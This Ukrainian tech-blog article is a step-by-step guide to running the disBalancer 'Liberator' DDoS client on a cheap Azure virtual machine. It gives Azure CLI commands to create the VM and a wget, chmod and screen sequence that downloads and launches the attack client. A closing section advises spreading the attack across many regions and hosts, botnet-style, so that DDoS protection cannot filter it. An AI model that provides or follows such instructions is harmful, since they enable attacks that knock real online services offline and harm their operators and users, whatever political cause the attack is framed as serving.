Ще один спосіб запустити DDoS на Azure VM
Підписуйтеся на Telegram-канал «DOU #tech», щоб не пропустити нові технічні статті.
У цій статті я продемонструю ще один спосіб запуску Liberator (disBalancer) в Azure, цього разу з використанням VM.
На відміну від попереднього способу, ми будемо обходитися без Docker, щоб спростити завдання.
Спрощення досягається за рахунок того, що для розгортання контейнера Docker в Azure обов’язково необхідно використовувати реєстр образів (Container Registry). І у зв’язку з тим, що офіційного образу від команди disBalancer немає в DockerHub, публічному реєстрі образів Docker, доводиться розгортати приватний Azure Container Registry і пов’язаний з ним KeyVault, що істотно ускладнює процес.
Другою причиною для цього підходу є те, що розгортання Docker container у serverless-підході Azure вимагає або Container Group — у разі Azure Container Services, або AppService Plan — у разі Azure App Service Containerized App.
Вартість Container Group за місяць становить близько $40. AppService Plan є безкоштовний, але з обмеженням 60 CPU хвилин на день, або починається від ~$13 на місяць, якщо без обмежень.
Вартість віртуальної машини стартує з ~$4 на місяць, тобто помітно дешевше.
Отже:
1. Перше, що потрібно зробити — це виписати собі нову Azure підписку. Для цього робимо кроки
2. Відкриваємо Azure Cloud Shell
На сторінці порталу відкриється консоль, куди можна писати команди. Можливо, сторінка запропонує створити додаткові ресурси, якщо їх не вистачає, тоді в віконці, що з’явилося, треба натиснути ok.
Переконайтеся, що консоль знаходиться в режимі Bash. Якщо стоїть режим PowerShell, поміняйте на Bash за допомогою стрілочки
3. Створюємо ресурсгруппу
RES_GROUP=rg-disbalancer
az group create --resource-group $RES_GROUP --location eastus
4. Створюємо VM
VM_NAME=vmdisbalancer$RANDOM
az vm create \
--resource-group $RES_GROUP \
--name $VM_NAME \
--image UbuntuLTS \
--size Standard_B1ls \
--admin-username azureuser \
--generate-ssh-keys \
--location japanwest
У прикладі вказаний регіон japanwest, ви можете вибрати інший, який підходить для ваших цілей (див. ліричні відступи наприкінці статті).
5. Підключаємося до виртуалки
IP_ADDRESS=$(az vm list-ip-addresses -n $VM_NAME \
--query "[0].virtualMachine.network.publicIpAddresses[0].ipAddress" -o tsv)
ssh azureuser@$IP_ADDRESS
При першому підключенні система запитатиме підтвердження ключа, необхідно вписати в консоль yes і натиснути enter
6. Завантажуємо та запускаємо liberator (disBalancer)
wget https://github.com/disbalancer-project/main/releases/latest/download/launcher-disbalancer-go-client-linux-amd64
chmod +x launcher-disbalancer-go-client-linux-amd64
screen -d -m ./launcher-disbalancer-go-client-linux-amd64
Все, програма запустилася і почала свою роботу.
Віртуалка працюватиме доки ви її не вимкнете або не видаліть.
Можна закрити вікно браузера та йти у своїх справах.
7. Переконатися у тому, що все працює можна за допомогою команди
screen -r
Ви побачите журнал операцій програми. Щоб повернутися в інтерактивну консоль необхідно натиснути Ctr-a d (контрол-a і відразу за ним кнопку d доволі швидко).
Або можна подивитись на то які процеси запущені в системі за допомогою команди
ps all
Якщо все добре, то в однієї зі строк має бути текст ./launcher-disbalancer-go-client-linux-amd64
Щоб відключитися від віртуалки вводимо
exit
Ліричні відступи
1. У цій статті, ми використовуємо мінімальний розмір віртуальної машини: B1ls з 1 процесорним ядром, 0.5Гб ОЗУ та 4Гб на диску. Для наших цілей достатньо. Вартість такої віртуалки в залежності від регіону коливається від $3.8 на місяць в East US до $5.5 в Japan West.
Деталі можна переглянути на сторінці
azure.microsoft.com/...s/virtual-machines/linux
2. Список доступних регіонів можна подивитись за допомогою команди
az account list-locations \
--query "[].{name:name, region:metadata.geographyGroup, title:regionalDisplayName}" \
--output table
Якщо ви бажаєте підняти декілька віртуалок в різних регионах, треба повторити кроки
4. Щоб подивитись на то, чи все добре працює через деякій час, можна у портали відкрити Virtual Machines
У списку, що з’явиться вибираємо віртуальну машину.
У панелі overview
Або скопіювати значення Public IP Address і далі відкрити консоль Azure Cloud Shell та залогінитись на віртуальну машину за допомогою команди
ssh azureuser@<IP адреса що скопіювали>
І дали виконуєте дії з пункту 7.
Або, як альтернатива, можна вибрати табку Monitoring та подивитись чи є якась активність в панелі Network. Якщо щось пішло не так, там будуть нулі. Якщо все добре — там будуть ненульові графіки. Майте на увазі, що треба щоб пройшов деякий час, щоб там почали з’являтися дані якщо ви тільки що підняли віртуалку.
5. Щоб все почистити в своєму Azure акаунті треба залогінитись в портал, відкрити Resource Groups
У списку, що з’явиться вибираємо ресурсгрупу що створили на шаге 3 (rg-disbalancer).
В панелі клікаємо на Delete resource group, в панелі що з’явиться впечатуємо ім’я ресурсгрупи (rg-disbalancer) та клікаємо на Delete.
6. Як запустити багато процесів DDoS на одній віртуалці, або чьому liberator (disBalancer).
Коли ресурс попадає під DDoS атаку захистити його тим складніше, чим складніше відрізнити клиента-DDoS-ера від клієнта, для якого ресурс призначений насамперед. Якщо ваш DDoS софт у нескінченному циклі, якнайчастіше в одиницю часу довбає один і той же url, його дуже просто відрізнити від звичайної людини тому що людина фізично не в змозі клікати на одне й те саме посилання з такою швидкістю. Навіть якщо в цьому буде якийсь сенс, що теж дуже маловирогідно.
Тому якщо ви запустили натовп процесів на однієї віртуалці які ломляться на один і той же url як найшвидше, то скоріш за все, вашу атаку вже заблокували ще десь у провайдера на рівні мережевого желіза, навіть не дозволяючи вашій атаці вплинути на завантаження каналу зв’язку, не кажучи вже про ресурси сервера. Можете почитати на цю тему в гугл за ключовою фразою «auto ddos protection».
З тих же самих міркувань ваш Azure аккаунт, скоріше за все, вневдовзі теж буде заблоковано.
Тому найбільш ефективніший софт для атак це тий, що генерує трафік з великої кількості різних адрес не визиваючи підозри в кожному окремому випадку. Зазвичай такій софт — це різноманітні ботнети — велика кількість окремих комп’ютерів, які централізовано координуються. При цьому кожний окремий компьютер робить не так уж і багато різних запросів, в першу чергу щоб його було важко ідентифікувати як DDoS-клієнт.
Різноманітні інструменти від мало відомих компаній на кшталт антивірусів, утиліт для «оптимізації продуктивності» комп’ютера, торрент клієнтів нерідко містять приховані елементи ботнета. А також комп’ютерні черві, трояни зазвичай містять код ботнета як основний компонент.
В нашому випадку можна зробити ботнет за допомогою цілеспрямованого запуска клієнтів ботнета на якомога більшої кількості різних вузлів. Чим більше — тим краще. Це буде набагато ефективніше ніж запускати багато однакових атакуючих процесів на одному комп’ютері.
Одним із таких клієнтів є liberator від команди disBalancer. За мирного часу це був інструмент для навантажувального тестування, і це, по суті, одно й теж саме що і DDoS.
Інший схожий підхід застосовано в db100n. На відміну від disBalancer цей проект із відкритим кодом, але я не знайшов канала з активним ком’юніті. В disBalancer воно є і доволі велике.
Заради справедливості варто зазначити, що надмірна централізація всіх зусиль робить систему вразливою для протидії. Тобто, якщо контрзаходами нейтралізується єдиний координаційний центр, вся система відвалюється.
Бажаю вам успіху. Слава Україні!
4 коментарі
Додати коментар Підписатись на коментаріВідписатись від коментарів